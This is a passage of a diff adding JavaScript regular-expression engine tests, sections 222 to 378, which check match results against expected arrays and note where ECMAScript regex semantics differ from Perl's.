+addThis();
+
+status = inSection(222);
+pattern = /a(?:b|c|d){5,6}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdb', 'b');
+addThis();
+
+status = inSection(223);
+pattern = /a(?:b|c|d){5,7}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(224);
+pattern = /a(?:b|c|d){5,7}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdb', 'b');
+addThis();
+
+status = inSection(225);
+pattern = /a(?:b|(c|e){1,2}?|d)+?(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'c', 'e');
+addThis();
+
+status = inSection(226);
+pattern = /^(.+)?B/;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'A');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(227);
+pattern = /^([^a-z])|(\^)$/;
+string = '.';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('.', '.', '');
+expectedmatch = Array('.', '.', undefined);
+addThis();
+
+status = inSection(228);
+pattern = /^[<>]&/;
+string = '<&OUT';
+actualmatch = string.match(pattern);
+expectedmatch = Array('<&');
+addThis();
+
+/* Can't refer to a capture before it's encountered & completed
+ status = inSection(229);
+ pattern = /^(a\1?){4}$/;
+ string = 'aaaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaaaaaa', 'aaaa');
+ addThis();
+
+ status = inSection(230);
+ pattern = /^(a(?(1)\1)){4}$/;
+ string = 'aaaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaaaaaa', 'aaaa');
+ addThis();
+*/
+
+status = inSection(231);
+pattern = /((a{4})+)/;
+string = 'aaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaa', 'aaaaaaaa', 'aaaa');
+addThis();
+
+status = inSection(232);
+pattern = /(((aa){2})+)/;
+string = 'aaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaa', 'aaaaaaaa', 'aaaa', 'aa');
+addThis();
+
+status = inSection(233);
+pattern = /(((a{2}){2})+)/;
+string = 'aaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaa', 'aaaaaaaa', 'aaaa', 'aa');
+addThis();
+
+status = inSection(234);
+pattern = /(?:(f)(o)(o)|(b)(a)(r))*/;
+string = 'foobar';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('foobar', 'f', 'o', 'o', 'b', 'a', 'r');
+expectedmatch = Array('foobar', undefined, undefined, undefined, 'b', 'a', 'r');
+addThis();
+
+/* ECMA supports (?: (?= and (?! but doesn't support (?< etc.
+ status = inSection(235);
+ pattern = /(?<=a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(236);
+ pattern = /(?<!c)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(237);
+ pattern = /(?<!c)b/;
+ string = 'b';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(238);
+ pattern = /(?<!c)b/;
+ string = 'b';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+*/
+
+status = inSection(239);
+pattern = /(?:..)*a/;
+string = 'aba';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aba');
+addThis();
+
+status = inSection(240);
+pattern = /(?:..)*?a/;
+string = 'aba';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+/*
+ * MODIFIED - ECMA has different rules for paren contents. Note
+ * this regexp has two non-capturing parens, and one capturing
+ *
+ * The issue: shouldn't the match be ['ab', undefined]? Because the
+ * '\1' matches the undefined value of the second iteration of the '*'
+ * (in which the 'b' part of the '|' matches). But Perl wants ['ab','b'].
+ *
+ * Answer: waldemar@netscape.com:
+ *
+ * The correct answer is ['ab', undefined]. Perl doesn't match
+ * ECMAScript here, and I'd say that Perl is wrong in this case.
+ */
+status = inSection(241);
+pattern = /^(?:b|a(?=(.)))*\1/;
+string = 'abc';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('ab', 'b');
+expectedmatch = Array('ab', undefined);
+addThis();
+
+status = inSection(242);
+pattern = /^(){3,5}/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+status = inSection(243);
+pattern = /^(a+)*ax/;
+string = 'aax';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aax', 'a');
+addThis();
+
+status = inSection(244);
+pattern = /^((a|b)+)*ax/;
+string = 'aax';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aax', 'a', 'a');
+addThis();
+
+status = inSection(245);
+pattern = /^((a|bc)+)*ax/;
+string = 'aax';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aax', 'a', 'a');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(246);
+pattern = /(a|x)*ab/;
+string = 'cab';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('ab', '');
+expectedmatch = Array('ab', undefined);
+addThis();
+
+status = inSection(247);
+pattern = /(a)*ab/;
+string = 'cab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', undefined);
+addThis();
+
+/* ECMA doesn't support (?imsx or (?-imsx
+ status = inSection(248);
+ pattern = /(?:(?i)a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(249);
+ pattern = /((?i)a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(250);
+ pattern = /(?:(?i)a)b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab');
+ addThis();
+
+ status = inSection(251);
+ pattern = /((?i)a)b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab', 'A');
+ addThis();
+
+ status = inSection(252);
+ pattern = /(?i:a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(253);
+ pattern = /((?i:a))b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(254);
+ pattern = /(?i:a)b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab');
+ addThis();
+
+ status = inSection(255);
+ pattern = /((?i:a))b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab', 'A');
+ addThis();
+
+ status = inSection(256);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(257);
+ pattern = /((?-i)a)b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(258);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(259);
+ pattern = /((?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(260);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(261);
+ pattern = /((?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(262);
+ pattern = /(?-i:a)b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(263);
+ pattern = /((?-i:a))b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(264);
+ pattern = /(?-i:a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(265);
+ pattern = /((?-i:a))b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(266);
+ pattern = /(?-i:a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(267);
+ pattern = /((?-i:a))b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(268);
+ pattern = /((?s-i:a.))b/i;
+ string = 'a\nB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a\nB', 'a\n');
+ addThis();
+*/
+
+status = inSection(269);
+pattern = /(?:c|d)(?:)(?:a(?:)(?:b)(?:b(?:))(?:b(?:)(?:b)))/;
+string = 'cabbbb';
+actualmatch = string.match(pattern);
+expectedmatch = Array('cabbbb');
+addThis();
+
+status = inSection(270);
+pattern = /(?:c|d)(?:)(?:aaaaaaaa(?:)(?:bbbbbbbb)(?:bbbbbbbb(?:))(?:bbbbbbbb(?:)(?:bbbbbbbb)))/;
+string = 'caaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
+actualmatch = string.match(pattern);
+expectedmatch = Array('caaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb');
+addThis();
+
+status = inSection(271);
+pattern = /(ab)\d\1/i;
+string = 'Ab4ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('Ab4ab', 'Ab');
+addThis();
+
+status = inSection(272);
+pattern = /(ab)\d\1/i;
+string = 'ab4Ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab4Ab', 'ab');
+addThis();
+
+status = inSection(273);
+pattern = /foo\w*\d{4}baz/;
+string = 'foobar1234baz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('foobar1234baz');
+addThis();
+
+status = inSection(274);
+pattern = /x(~~)*(?:(?:F)?)?/;
+string = 'x~~';
+actualmatch = string.match(pattern);
+expectedmatch = Array('x~~', '~~');
+addThis();
+
+/* Perl supports (?# but JS doesn't
+ status = inSection(275);
+ pattern = /^a(?#xxx){3}c/;
+ string = 'aaac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaac');
+ addThis();
+*/
+
+/* ECMA doesn't support (?< etc
+ status = inSection(276);
+ pattern = /(?<![cd])[ab]/;
+ string = 'dbaacb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(277);
+ pattern = /(?<!(c|d))[ab]/;
+ string = 'dbaacb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(278);
+ pattern = /(?<!cd)[ab]/;
+ string = 'cdaccb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(279);
+ pattern = /((?s)^a(.))((?m)^b$)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a\nb', 'a\n', '\n', 'b');
+ addThis();
+
+ status = inSection(280);
+ pattern = /((?m)^b$)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+
+ status = inSection(281);
+ pattern = /(?m)^b/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(282);
+ pattern = /(?m)^(b)/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+
+ status = inSection(283);
+ pattern = /((?m)^b)/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+
+ status = inSection(284);
+ pattern = /\n((?m)^b)/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\nb', 'b');
+ addThis();
+
+ status = inSection(285);
+ pattern = /((?s).)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\nc', '\n');
+ addThis();
+
+ status = inSection(286);
+ pattern = /((?s).)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\nc', '\n');
+ addThis();
+
+ status = inSection(287);
+ pattern = /((?s)b.)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b\nc', 'b\n');
+ addThis();
+
+ status = inSection(288);
+ pattern = /((?s)b.)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b\nc', 'b\n');
+ addThis();
+
+ status = inSection(289);
+ pattern = /((?m)^b)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+*/
+
+/* ECMA doesn't support (?(condition)
+ status = inSection(290);
+ pattern = /(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(291);
+ pattern = /(x)?(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(292);
+ pattern = /()?(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(293);
+ pattern = /()?(?(1)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(294);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = '(blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('(blah)', '(', ')');
+ addThis();
+
+ status = inSection(295);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = 'blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('blah');
+ addThis();
+
+ status = inSection(296);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = '(blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('(blah)', '(', ')');
+ addThis();
+
+ status = inSection(297);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = 'blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('blah');
+ addThis();
+
+ status = inSection(298);
+ pattern = /(?(?!a)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(299);
+ pattern = /(?(?=a)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+status = inSection(300);
+pattern = /(?=(a+?))(\1ab)/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aab', 'a', 'aab');
+addThis();
+
+status = inSection(301);
+pattern = /(\w+:)+/;
+string = 'one:';
+actualmatch = string.match(pattern);
+expectedmatch = Array('one:', 'one:');
+addThis();
+
+/* ECMA doesn't support (?< etc
+ status = inSection(302);
+ pattern = /$(?<=^(a))/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('', 'a');
+ addThis();
+*/
+
+status = inSection(303);
+pattern = /(?=(a+?))(\1ab)/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aab', 'a', 'aab');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(304);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('abcd', '', 'abcd');
+expectedmatch = Array('abcd', undefined, 'abcd');
+addThis();
+
+status = inSection(305);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'xy:z:::abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('xy:z:::abcd', 'xy:z:::', 'abcd');
+addThis();
+
+status = inSection(306);
+pattern = /^[^bcd]*(c+)/;
+string = 'aexycd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aexyc', 'c');
+addThis();
+
+status = inSection(307);
+pattern = /(a*)b+/;
+string = 'caab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aab', 'aa');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(308);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('abcd', '', 'abcd');
+expectedmatch = Array('abcd', undefined, 'abcd');
+addThis();
+
+status = inSection(309);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'xy:z:::abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('xy:z:::abcd', 'xy:z:::', 'abcd');
+addThis();
+
+status = inSection(310);
+pattern = /^[^bcd]*(c+)/;
+string = 'aexycd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aexyc', 'c');
+addThis();
+
+/* ECMA doesn't support (?>
+ status = inSection(311);
+ pattern = /(?>a+)b/;
+ string = 'aaab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaab');
+ addThis();
+*/
+
+status = inSection(312);
+pattern = /([[:]+)/;
+ string = 'a:[b]:';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array(':[', ':[');
+ addThis();
+
+ status = inSection(313);
+ pattern = /([[=]+)/;
+ string = 'a=[b]=';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('=[', '=[');
+ addThis();
+
+ status = inSection(314);
+ pattern = /([[.]+)/;
+ string = 'a.[b].';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('.[', '.[');
+ addThis();
+
+/* ECMA doesn't have rules for [:
+ status = inSection(315);
+ pattern = /[a[:]b[:c]/;
+ string = 'abc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abc');
+ addThis();
+*/
+
+/* ECMA doesn't support (?>
+ status = inSection(316);
+ pattern = /((?>a+)b)/;
+ string = 'aaab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaab', 'aaab');
+ addThis();
+
+ status = inSection(317);
+ pattern = /(?>(a+))b/;
+ string = 'aaab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaab', 'aaa');
+ addThis();
+
+ status = inSection(318);
+ pattern = /((?>[^()]+)|\([^()]*\))+/;
+ string = '((abc(ade)ufh()()x';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abc(ade)ufh()()x', 'x');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(319);
+ pattern = /\Z/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(320);
+ pattern = /\z/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(321);
+ pattern = /$/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(322);
+ pattern = /\Z/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(323);
+ pattern = /\z/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(324);
+ pattern = /$/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(325);
+ pattern = /\Z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(326);
+ pattern = /\z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(327);
+ pattern = /$/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(328);
+ pattern = /\Z/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(329);
+ pattern = /\z/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(330);
+ pattern = /$/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(331);
+ pattern = /\Z/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(332);
+ pattern = /\z/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(333);
+ pattern = /$/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(334);
+ pattern = /\Z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(335);
+ pattern = /\z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(336);
+ pattern = /$/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(337);
+ pattern = /a\Z/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(338);
+ pattern = /a$/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(339);
+ pattern = /a\Z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(340);
+ pattern = /a\z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+ status = inSection(341);
+ pattern = /a$/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(342);
+ pattern = /a$/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(343);
+ pattern = /a\Z/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+ status = inSection(344);
+ pattern = /a$/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(345);
+ pattern = /a\Z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(346);
+ pattern = /a\z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+ status = inSection(347);
+ pattern = /a$/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(348);
+ pattern = /aa\Z/;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(349);
+ pattern = /aa$/;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(350);
+ pattern = /aa\Z/;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+ status = inSection(351);
+ pattern = /aa\z/;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+ status = inSection(352);
+ pattern = /aa$/;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+ status = inSection(353);
+ pattern = /aa$/m;
+ string = 'aa\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(354);
+ pattern = /aa\Z/m;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+ status = inSection(355);
+ pattern = /aa$/m;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(356);
+ pattern = /aa\Z/m;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+ status = inSection(357);
+ pattern = /aa\z/m;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+ status = inSection(358);
+ pattern = /aa$/m;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(359);
+ pattern = /ab\Z/;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(360);
+ pattern = /ab$/;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(361);
+ pattern = /ab\Z/;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(362);
+ pattern = /ab\z/;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+ status = inSection(363);
+ pattern = /ab$/;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(364);
+ pattern = /ab$/m;
+ string = 'ab\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(365);
+ pattern = /ab\Z/m;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+ status = inSection(366);
+ pattern = /ab$/m;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(367);
+ pattern = /ab\Z/m;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(368);
+ pattern = /ab\z/m;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+ status = inSection(369);
+ pattern = /ab$/m;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(370);
+ pattern = /abb\Z/;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(371);
+ pattern = /abb$/;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(372);
+ pattern = /abb\Z/;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(373);
+ pattern = /abb\z/;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+ status = inSection(374);
+ pattern = /abb$/;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(375);
+ pattern = /abb$/m;
+ string = 'abb\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(376);
+ pattern = /abb\Z/m;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+ status = inSection(377);
+ pattern = /abb$/m;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(378);
+ pattern = /abb\Z/m;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
